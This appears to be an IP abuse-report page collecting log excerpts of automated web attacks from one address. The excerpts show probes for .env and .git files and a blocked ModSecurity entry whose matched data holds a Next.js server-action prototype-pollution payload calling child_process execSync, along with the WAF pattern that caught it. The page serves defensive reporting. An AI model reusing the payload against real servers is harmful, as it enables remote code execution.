Recent reportsWe have received reports of abusive activity from this IP address within the last week. It is
potentially still actively engaged in abusive activities.
2026-11-06 11:51:48 GET /.git/config [301] && 2026-11-06 11:51:48 GET /.git/config [301] && 2026-11-06 11:51:48 GET /.env [301] && 568 more within 20 minutes
[FriNov0609:38:46.5551712026][security2:error][pid2149683:tid2149753][client34.6.113.19:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\\$\(\?:\\\\\\\\\(\(\?:\\\\\\\\\(.\*\\\\\\\\\)\|.\*\)\\\\\\\\\)\|\\\\\\\\{.\*\\\\\\\\}\) ...
show more[FriNov0609:38:46.5551712026][security2:error][pid2149683:tid2149753][client34.6.113.19:0]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\(\?:\\\\\\\\\$\(\?:\\\\\\\\\(\(\?:\\\\\\\\\(.\*\\\\\\\\\)\|.\*\)\\\\\\\\\)\|\\\\\\\\{.\*\\\\\\\\}\)\|[\<\>]\\\\\\\\\(.\*\\\\\\\\\)\)\"atARGS:0.[file\"/etc/apache2/conf.d/modsec_rules/10_asl_rules.conf\"][line\"396\"][id\"393655\"][rev\"17\"][msg\"Atomicorp.comWAFRules:PossibleRemoteCommandExecution:UnixShellExpressionFound\"][data\"MatchedData:\$\(\(41\*271\)\)foundwithinARGS:0:{then:\$1:__proto__:thenstatus:resolved_modelreason:-1value:{then:\$b1337}_response:{_prefix:varres=process.mainmodule.require\(child_process\).execsync\(echo\$\(\(41\*271\)\)\|base64-w0\).tostring\(\).trim\(\)throwobject.assign\(newerror\(next_redirect\){digest:\`next_redirectpush/login\?a=\${res}307\`}\)_chunks:\$q2_formdata:{get:\$1:constructor:constructor}}}\"][tag\"attack-rce\"][hostname\"sesael.ch\"][uri\"/\"][unique_id\"au2SFrsrvY-9f-PXKc7ebgAAAAM\"]
show less
Web app exploit probe on a honeypot: requested known vulnerability paths (wp-login.php, .env, .git ...).
Requests within an hour: 7 on 1 host(s)
User agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safar ...
show moreWeb app exploit probe on a honeypot: requested known vulnerability paths (wp-login.php, .env, .git ...).
Requests within an hour: 7 on 1 host(s)
User agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.3
Requested, e.g.:
- s3.[REDACTED]/
- s3.[REDACTED]/.git/config
show less
Automated scan for exposed config/secret files and known web exploits (e.g. /.env, RCE probes); auto-banned by fail2ban.
Web App Attack
Hacking
Anonymous
{"level":"info","ts":1793847703.126597,"logger":"http.log.access.log2","msg":"handled request","request":{"remote_ip":"34.6.113.19","remote_port":"32858","client_ip":"34.6.113.19","proto":"HTTP/1.1","method":"GET","host":"stage.prisma.tv","uri":"/"," ...
show more{"level":"info","ts":1793847703.126597,"logger":"http.log.access.log2","msg":"handled request","request":{"remote_ip":"34.6.113.19","remote_port":"32858","client_ip":"34.6.113.19","proto":"HTTP/1.1","method":"GET","host":"stage.prisma.tv","uri":"/","headers":{"Accept-Encoding":["gzip, deflate"],"Accept":["*/*"],"Connection":["keep-alive"],"Next-Action":["x"],"X-Nextjs-Request-Id":["6e6ba170"],"User-Agent":["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"]},"tls":{"resumed":false,"version":772,"cipher_suite":4865,"proto":"http/1.1","server_name":"stage.prisma.tv","ech":false}},"bytes_read":0,"user_id":"","duration":0.000111054,"size":0,"status":401,"resp_headers":{"X-Xss-Protection":["1; mode=block"],"Referrer-Policy":["same-origin"],"X-Robots-Tag":["noindex"],"Www-Authenticate":["Basic realm=\"restricted\""],"Server":["Caddy"],"Alt-Svc":["h3=\":443\"; ma=2592000"],"X-Content-Type-Options":["nosniff"]}}
{"level":"info","ts
...
show less
Bad Web Bot
Anonymous
sensitive path probe detected by fail2ban
...
Port Scan
Web App Attack
Think this IP has been falsely reported? You may request to have the associated
reports reviewed and removed.
Request Takedown
